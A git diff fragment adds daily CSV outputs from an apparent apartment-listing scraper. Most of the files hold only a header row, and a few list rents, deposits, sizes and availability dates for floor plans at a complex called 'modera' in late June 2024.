b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240609.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240609.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240610.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240610.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240610.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240611.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240611.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240611.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240612.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240612.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240612.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240613.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240613.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240613.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240614.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240614.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240614.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240615.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240615.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240615.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240616.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240616.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240616.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240617.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240617.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240617.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240618.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240618.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240618.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240619.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240619.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240619.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240620.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240620.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240620.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240621.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240621.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240621.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240622.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240622.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240622.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240623.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240623.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240623.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240624.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240624.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240624.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240625.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240625.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240625.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240626.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240626.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240626.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240627.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240627.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240627.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240628.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240628.csv new file mode 100644 index 00000000000..fbc98003b54 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240628.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20240628,modera,S01,Studio / 1 ba,"Starting from $1,887/month",$300,477+,/,"Available Jul 17, 2024" +20240628,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240628,modera,A01,1 bd/1 ba,"Starting from $2,113/month",$300,531,/,"Available Aug 02, 2024" +20240628,modera,A02,1 bd/1 ba,"Starting from $2,501/month",$300,553,/,Only One Left! +20240628,modera,A03,1 bd/1 ba,"Starting from $2,088/month",$300,553+,/,"Available Jul 17, 2024" +20240628,modera,A05,1 bd/1 ba,"Starting from $2,058/month",$300,596,/,"Available Jul 24, 2024" +20240628,modera,A05L,1 bd/1 ba,"Starting from $2,668/month",$300,735,/,Only One Left! +20240628,modera,A06,1 bd/1 ba,"Starting from $2,418/month",$300,606,/,Only One Left! +20240628,modera,A07,1 bd/1 ba,"Starting from $2,398/month",$300,634+,/,Only One Left! +20240628,modera,A09,1 bd/1 ba,"Starting from $2,593/month",$300,640,/,"Available Jul 09, 2024" +20240628,modera,A10,1 bd/1 ba,"Starting from $2,493/month",$300,672+,/,"Available Jul 20, 2024" +20240628,modera,A11,1 bd/1 ba,"Starting from $3,048/month",$300,667,/,"Available Aug 03, 2024" +20240628,modera,B03,2 bd/2 ba,"Starting from $3,374/month",$300,"1,039+",/,"Available Jul 22, 2024" +20240628,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240628,modera,A05L,1 bd/1 ba,"Starting from $2,668/month",$300,735,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240629.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240629.csv new file mode 100644 index 00000000000..97f53398cad --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240629.csv @@ -0,0 +1,15 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20240629,modera,S01,Studio / 1 ba,"Starting from $1,887/month",$300,477+,/,"Available Jul 17, 2024" +20240629,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240629,modera,A01,1 bd/1 ba,"Starting from $2,113/month",$300,531,/,"Available Aug 02, 2024" +20240629,modera,A02,1 bd/1 ba,"Starting from $2,492/month",$300,553,/,Only One Left! +20240629,modera,A03,1 bd/1 ba,"Starting from $2,088/month",$300,553+,/,"Available Jul 17, 2024" +20240629,modera,A05L,1 bd/1 ba,"Starting from $2,674/month",$300,735,/,Only One Left! +20240629,modera,A06,1 bd/1 ba,"Starting from $2,424/month",$300,606,/,Only One Left! +20240629,modera,A07,1 bd/1 ba,"Starting from $2,404/month",$300,634+,/,Only One Left! +20240629,modera,A09,1 bd/1 ba,"Starting from $2,600/month",$300,640,/,"Available Jul 09, 2024" +20240629,modera,A10,1 bd/1 ba,"Starting from $2,493/month",$300,672+,/,"Available Jul 20, 2024" +20240629,modera,A11,1 bd/1 ba,"Starting from $3,048/month",$300,667,/,"Available Aug 03, 2024" +20240629,modera,B03,2 bd/2 ba,"Starting from $3,374/month",$300,"1,039+",/,"Available Jul 22, 2024" +20240629,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240629,modera,A05L,1 bd/1 ba,"Starting from $2,674/month",$300,735,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240630.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240630.csv new file mode 100644 index 00000000000..b4e5a4a4e2d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240630.csv @@ -0,0 +1,15 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20240630,modera,S01,Studio / 1 ba,"Starting from $1,887/month",$300,477+,/,"Available Jul 17, 2024" +20240630,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240630,modera,A01,1 bd/1 ba,"Starting from $2,113/month",$300,531,/,"Available Aug 02, 2024" +20240630,modera,A02,1 bd/1 ba,"Starting from $2,483/month",$300,553,/,Only One Left! +20240630,modera,A03,1 bd/1 ba,"Starting from $2,088/month",$300,553+,/,"Available Jul 17, 2024" +20240630,modera,A05L,1 bd/1 ba,"Starting from $2,674/month",$300,735,/,Only One Left! +20240630,modera,A06,1 bd/1 ba,"Starting from $2,424/month",$300,606,/,Only One Left! +20240630,modera,A07,1 bd/1 ba,"Starting from $2,404/month",$300,634+,/,Only One Left! +20240630,modera,A09,1 bd/1 ba,"Starting from $2,600/month",$300,640,/,"Available Jul 09, 2024" +20240630,modera,A10,1 bd/1 ba,"Starting from $2,493/month",$300,672+,/,"Available Jul 20, 2024" +20240630,modera,A11,1 bd/1 ba,"Starting from $3,048/month",$300,667,/,"Available Aug 03, 2024" +20240630,modera,B03,2 bd/2 ba,"Starting from $3,374/month",$300,"1,039+",/,"Available Jul 22, 2024" +20240630,modera,S01L,Studio / 1 ba,"$2,570/month",$300,641+,/,"Available Jul 01, 2024" +20240630,modera,A05L,1 bd/1 ba,"Starting from $2,674/month",$300,735,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240701.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240701.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240701.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240702.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240702.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240702.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240703.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240703.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240703.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240704.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240704.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240704.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240705.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240705.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240705.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240706.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240706.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240706.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240707.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240707.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240707.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240708.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240708.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240708.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240709.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240709.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240709.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240710.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240710.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240710.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240711.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240711.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240711.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240712.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240712.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240712.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240713.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240713.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240713.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240714.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240714.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240714.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240715.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240715.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240715.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240716.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240716.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240716.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240717.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240717.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240717.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240718.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240718.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240718.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240719.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240719.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240719.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240720.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240720.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240720.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240721.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240721.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240721.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240722.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240722.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240722.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240723.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240723.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240723.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240724.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240724.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240724.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240725.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240725.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240725.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240726.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240726.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240726.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240727.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240727.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240727.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240728.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240728.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240728.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240729.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240729.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240729.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240730.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240730.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240730.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240731.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240731.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240731.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240801.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240801.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240801.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240802.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240802.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240802.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240803.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240803.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240803.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240804.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240804.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240804.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240805.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240805.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240805.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240806.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240806.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240806.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240807.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20240807.csv new file mode 100644 index 